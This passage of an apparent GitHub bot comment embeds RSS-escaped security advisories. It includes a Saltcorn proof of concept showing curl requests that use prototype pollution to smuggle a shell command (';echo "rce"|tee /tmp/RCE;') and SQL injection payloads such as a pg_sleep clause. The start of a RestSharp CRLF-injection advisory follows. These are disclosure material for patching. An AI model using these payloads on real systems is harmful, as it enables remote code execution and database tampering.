        &lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;h3&gt;PoC&lt;/h3&gt;
        &lt;p&gt;Setup:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;set &lt;code class=&quot;notranslate&quot;&gt;SALTCORN_NWORKERS=1&lt;/code&gt; before starting the &lt;code class=&quot;notranslate&quot;&gt;saltcorn&lt;/code&gt; server (to easily observe the behavior of the PoC)&lt;/li&gt;
        &lt;/ul&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;SALTCORN_NWORKERS=1 saltcorn serve
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ul&gt;
        &lt;li&gt;make sure to use PostgresSQL backend&lt;/li&gt;
        &lt;li&gt;login with a user with admin permission&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h4&gt;RCE&lt;/h4&gt;
        &lt;p&gt;This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed.&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;check that the file that will be created does not exists:&lt;/li&gt;
        &lt;/ul&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;cat /tmp/RCE
        cat: /tmp/RCE: No such file or directory
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ul&gt;
        &lt;li&gt;pollute the &lt;code class=&quot;notranslate&quot;&gt;Object.prototype&lt;/code&gt; with a &lt;code class=&quot;notranslate&quot;&gt;tempRootFolder&lt;/code&gt; value set to &lt;code class=&quot;notranslate&quot;&gt;;echo+&quot;rce&quot;|tee+/tmp/RCE;&lt;/code&gt; by sending the following request *** :&lt;/li&gt;
        &lt;/ul&gt;
        &lt;div class=&quot;highlight highlight-source-shell&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;curl -i -X &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;$&#39;&lt;/span&gt;POST&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt; \
        -H &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;$&#39;&lt;/span&gt;Host: localhost:3000&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt; \
        -H &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;$&#39;&lt;/span&gt;Content-Type: application/x-www-form-urlencoded; charset=UTF-8&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt; -H &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;$&#39;&lt;/span&gt;Accept: */*&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt; \
        -H &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;$&#39;&lt;/span&gt;Origin: http://localhost:3000&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt; \
        -H &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;$&#39;&lt;/span&gt;Connection: close&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt; \
        -b &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;$&#39;&lt;/span&gt;loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt; \
        --data-binary &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;$&#39;&lt;/span&gt;_csrf=VALID_csrf_Value&amp;amp;value=;echo+&quot;rce&quot;|tee+/tmp/RCE;&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt; \
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;$&#39;&lt;/span&gt;http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;p&gt;visit &lt;code class=&quot;notranslate&quot;&gt;http://localhost:3000/plugins/new&lt;/code&gt;&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;enter the following fields:
        &lt;ul&gt;
        &lt;li&gt;Name: &lt;code class=&quot;notranslate&quot;&gt;test&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Source: &lt;code class=&quot;notranslate&quot;&gt;git&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;other fields blank&lt;/li&gt;
        &lt;li&gt;click &lt;code class=&quot;notranslate&quot;&gt;Create&lt;/code&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;/li&gt;
        &lt;li&gt;you will get an error but the command &lt;code class=&quot;notranslate&quot;&gt;echo &quot;rce&quot; | tee /tmp/RCE&lt;/code&gt; will be executed&lt;/li&gt;
        &lt;li&gt;to verify:&lt;/li&gt;
        &lt;/ul&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;cat /tmp/RCE
        rce
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;The RCE occurs because after the previous curl request, the &lt;code class=&quot;notranslate&quot;&gt;tempRootFolder&lt;/code&gt; property is set to &lt;code class=&quot;notranslate&quot;&gt;;echo+&quot;rce&quot;|tee+/tmp/RCE;&lt;/code&gt; that is later used to build the shell commands.&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;file: &lt;a href=&quot;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/plugin_installer.js#L45-L58&quot;&gt;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/plugin_installer.js#L45-L58&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;div class=&quot;highlight highlight-source-js&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;PluginInstaller&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-en&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;opts&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// opts will have the tempRootFolder property set with dangerous values // [2]&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;tempRootFolder&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;
        &lt;span class=&quot;pl-s1&quot;&gt;opts&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;tempRootFolder&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;envPaths&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;saltcorn&quot;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;suffix&lt;/span&gt;: &lt;span class=&quot;pl-s&quot;&gt;&quot;tmp&quot;&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;temp&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [3]&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;pckJsonPath&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;pluginDir&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;package.json&quot;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;tempDir&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;tempRootFolder&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;temp_install&quot;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; ...&lt;span class=&quot;pl-s1&quot;&gt;tokens&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [4]&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;h4&gt;SQL Injection&lt;/h4&gt;
        &lt;p&gt;This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;visit &lt;code class=&quot;notranslate&quot;&gt;http://localhost:3000/table&lt;/code&gt; to check the page returns some results (no errors)&lt;/li&gt;
        &lt;li&gt;pollute the &lt;code class=&quot;notranslate&quot;&gt;Object.prototype&lt;/code&gt; with a schema value set to &lt;code class=&quot;notranslate&quot;&gt;&quot;&lt;/code&gt; (just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request *** :&lt;/li&gt;
        &lt;/ul&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;curl -i -X $&#39;POST&#39; \
        -H $&#39;Host: localhost:3000&#39; \
        -H $&#39;Content-Type: application/x-www-form-urlencoded; charset=UTF-8&#39; -H $&#39;Accept: */*&#39; \
        -H $&#39;Origin: http://localhost:3000&#39; \
        -H $&#39;Connection: close&#39; \
        -b $&#39;loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE&#39; \
        --data-binary $&#39;_csrf=VALID_csrf_Value&amp;amp;value=\&quot;&#39; \
        $&#39;http://localhost:3000/site-structure/localizer/save-string/__proto__/schema&#39;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ul&gt;
        &lt;li&gt;visit again &lt;code class=&quot;notranslate&quot;&gt;http://localhost:3000/table&lt;/code&gt; but this time an SQL error will appear:&lt;/li&gt;
        &lt;/ul&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;syntax error at or near &quot;&quot; order by lower(&quot;&quot;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: Another payload to use as &lt;code class=&quot;notranslate&quot;&gt;value&lt;/code&gt; could be &lt;code class=&quot;notranslate&quot;&gt;pg_user&quot;+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--&lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;The SQL injection occurs because after the previous curl request, the &lt;code class=&quot;notranslate&quot;&gt;schema&lt;/code&gt; property is set to &lt;code class=&quot;notranslate&quot;&gt;&quot;&lt;/code&gt;.&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;file: &lt;a href=&quot;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/postgres/postgres.js#L101&quot;&gt;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/postgres/postgres.js#L101&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;div class=&quot;highlight highlight-source-js&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;tbl&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;whereObj&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;selectopts&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [2] selectopts&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt; where&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; values &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;mkWhere&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;whereObj&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;schema&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;selectopts&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;schema&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;getTenantSchema&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [3] selectopts.schema&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;sql&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;`SELECT &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;${&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt; &lt;span class=&quot;pl-s1&quot;&gt;selectopts&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;fields&lt;/span&gt; ? &lt;span class=&quot;pl-s1&quot;&gt;selectopts&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;fields&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;, &quot;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; : &lt;span class=&quot;pl-s&quot;&gt;`*`&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt; &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt; FROM &quot;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;schema&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&quot;.&quot;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;sqlsanitize&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;tbl&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&quot; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;mkSelectOptions&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [4] schema&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt; &lt;span class=&quot;pl-s1&quot;&gt;selectopts&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt; &lt;span class=&quot;pl-s1&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt; &lt;span class=&quot;pl-c1&quot;&gt;false&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt; &lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;`&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-en&quot;&gt;sql_log&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;tq&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;selectopts&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;pool&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;tq&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;rows&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;p&gt;*** Retrieve valid values for the &lt;code class=&quot;notranslate&quot;&gt;connect.sid&lt;/code&gt; (&lt;code class=&quot;notranslate&quot;&gt;VALID_CONNECT_SID_COOKIE&lt;/code&gt;) and &lt;code class=&quot;notranslate&quot;&gt;_csrf&lt;/code&gt; values (&lt;code class=&quot;notranslate&quot;&gt;VALID_csrf_Value&lt;/code&gt;) :&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;open the browser developer console and go to the &lt;code class=&quot;notranslate&quot;&gt;Network&lt;/code&gt; tab&lt;/li&gt;
        &lt;li&gt;visit &lt;code class=&quot;notranslate&quot;&gt;http://localhost:3000/site-structure/localizer/add-lang&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;add a language (&lt;code class=&quot;notranslate&quot;&gt;Name: test&lt;/code&gt; , &lt;code class=&quot;notranslate&quot;&gt;Locale: test&lt;/code&gt;) and click &lt;code class=&quot;notranslate&quot;&gt;Save&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;under the &lt;code class=&quot;notranslate&quot;&gt;Network&lt;/code&gt; tab, filter for &lt;code class=&quot;notranslate&quot;&gt;save-lang&lt;/code&gt; and check the request parameters (&lt;code class=&quot;notranslate&quot;&gt;Headers&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;Payload&lt;/code&gt;/&lt;code class=&quot;notranslate&

...

@github-actions GitHub Actions
Copy link
Contributor

github-actions bot commented Oct 5, 2024

http://localhost:1200/github/advisor/data/reviewed/nuget - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - nuget - reviewed</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github/advisor/data/reviewed/nuget" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - nuget - reviewed - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Sat, 05 Oct 2024 18:31:14 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>CRLF Injection in RestSharp&#39;s `RestRequest.AddHeader` method</title>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
        &lt;p&gt;The second argument to &lt;code class=&quot;notranslate&quot;&gt;RestRequest.AddHeader&lt;/code&gt; (the header value) is vulnerable to CRLF injection. The same applies to &lt;code class=&quot;notranslate&quot;&gt;RestRequest.AddOrUpdateHeader&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;RestClient.AddDefaultHeader&lt;/code&gt;.&lt;/p&gt;
        &lt;h3&gt;Details&lt;/h3&gt;
        &lt;p&gt;The way HTTP headers are added to a request is via the &lt;code class=&quot;notranslate&quot;&gt;HttpHeaders.TryAddWithoutValidation&lt;/code&gt; method: &lt;a href=&quot;https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32&quot;&gt;https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32&lt;/a&gt; This method does not check for CRLF characters in the header value.&lt;/p&gt;
        &lt;p&gt;This means that any headers from a &lt;code class=&quot;notranslate&quot;&gt;RestSharp.RequestHeaders&lt;/code&gt; object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.&lt;/p&gt;
        &lt;h3&gt;PoC&lt;/h3&gt;
        &lt;p&gt;The below example code creates a console app that takes one command line variable &quot;api key&quot; and then makes a request to some status page with the provided key inserted in the &quot;Authorization&quot; header:&lt;/p&gt;
        &lt;div class=&quot;highlight highlight-source-cs&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;using&lt;/span&gt; RestSharp&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;pl-smi&quot;&gt;Program&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;static&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;async&lt;/span&gt; Task &lt;span class=&quot;pl-en&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-c&quot;&gt;// Usage: dotnet run &amp;lt;api key&amp;gt;&lt;/span&gt;
